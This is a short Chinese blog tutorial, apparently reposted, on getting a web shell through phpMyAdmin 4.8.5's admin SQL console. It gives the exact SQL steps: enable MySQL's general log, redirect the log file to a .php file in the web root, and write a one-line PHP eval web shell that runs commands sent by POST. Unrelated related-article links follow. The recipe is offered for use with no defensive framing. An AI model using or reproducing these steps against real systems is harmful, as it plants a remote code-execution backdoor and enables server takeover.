当前位置： 首页 > article >正文

【getshell】phpmyadmin后台getshell（4.8.5）

article 2024/11/14 20:32:26

🏘️个人主页： 点燃银河尽头的篝火(●’◡’●)
如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦

【getshell】phpmyadmin后台getshell（4.8.5）

  • 一、进入sql命令输入界面
  • 二、上传代码
  • 三、getshell

一、进入sql命令输入界面

在这里插入图片描述

二、上传代码

  1. 开启日志
set global general_log='on';

在这里插入图片描述

  1. 改变日志存储位置
    (根据实际情况更改路径，我的小皮路径是在D盘)
set global general_log_file ="D:/phpstudy_pro/WWW/she.php";

在这里插入图片描述
在这里插入图片描述

  1. 往日志文件里写入一句话木马
select '<?php @eval($_POST[cmd]);?>';

在这里插入图片描述

  1. 访问一下
    在这里插入图片描述

三、getshell

在这里插入图片描述


http://www.kler.cn/a/304748.html

相关文章：

  • 【面试题】发起一次网络请求，当请求＞=1s，立马中断
  • MySQL数据库：SQL语言入门 【下】（学习笔记）
  • 【Pikachu】目录遍历实战
  • MySql结合element-plus pagination的分页查询
  • CommandLineParser 使用
  • idea 解决缓存损坏问题
  • springboot+security为什么@ControllerAdvice自定义的异常处理没有生效
  • 怎么去浮毛比较高效？热门除浮毛宠物空气净化器希喂、范罗士、有哈测评推荐
  • Linux与Ubuntu：内核与发行版的关系
  • MinGW-w64全面讲解：Windows平台的C/C++编译利器
  • Qt控制开发板的LED
  • openCV的python频率域滤波
  • 唯品会大数据面试题及参考答案（3万字长文）
  • C到C++入门基础知识
  • Linux环境基础开发工具---yum
  • Numpy 单位矩阵创建 eye()函数详解
  • 如何管理付费媒体预算：分配、风险与扩展
  • 企业数字化转型建设方案（数据中台、业务中台、AI中台）（可编辑的188页WORD）
  • 助力汽车半导体产业发展，2025 广州国际新能源汽车功率半导体技术展览会与您相约“羊城”广州
  • pm2 进程守护python flask
  • 《订单来了2024中秋预订趋势报告》发布：截至9月13日，商家中秋预订率上涨42.73%，山西文化巡礼成顶流
  • 2024年8月HarmonyOS鸿蒙应用开发者高级认证全新题库
  • JavaScript --函数的作用域（全局和局部）
  • Java面试篇基础部分-垃圾回收算法
  • 科研定制化无人机硬件技术详解
  • Leetcode面试经典150题-141.环形链表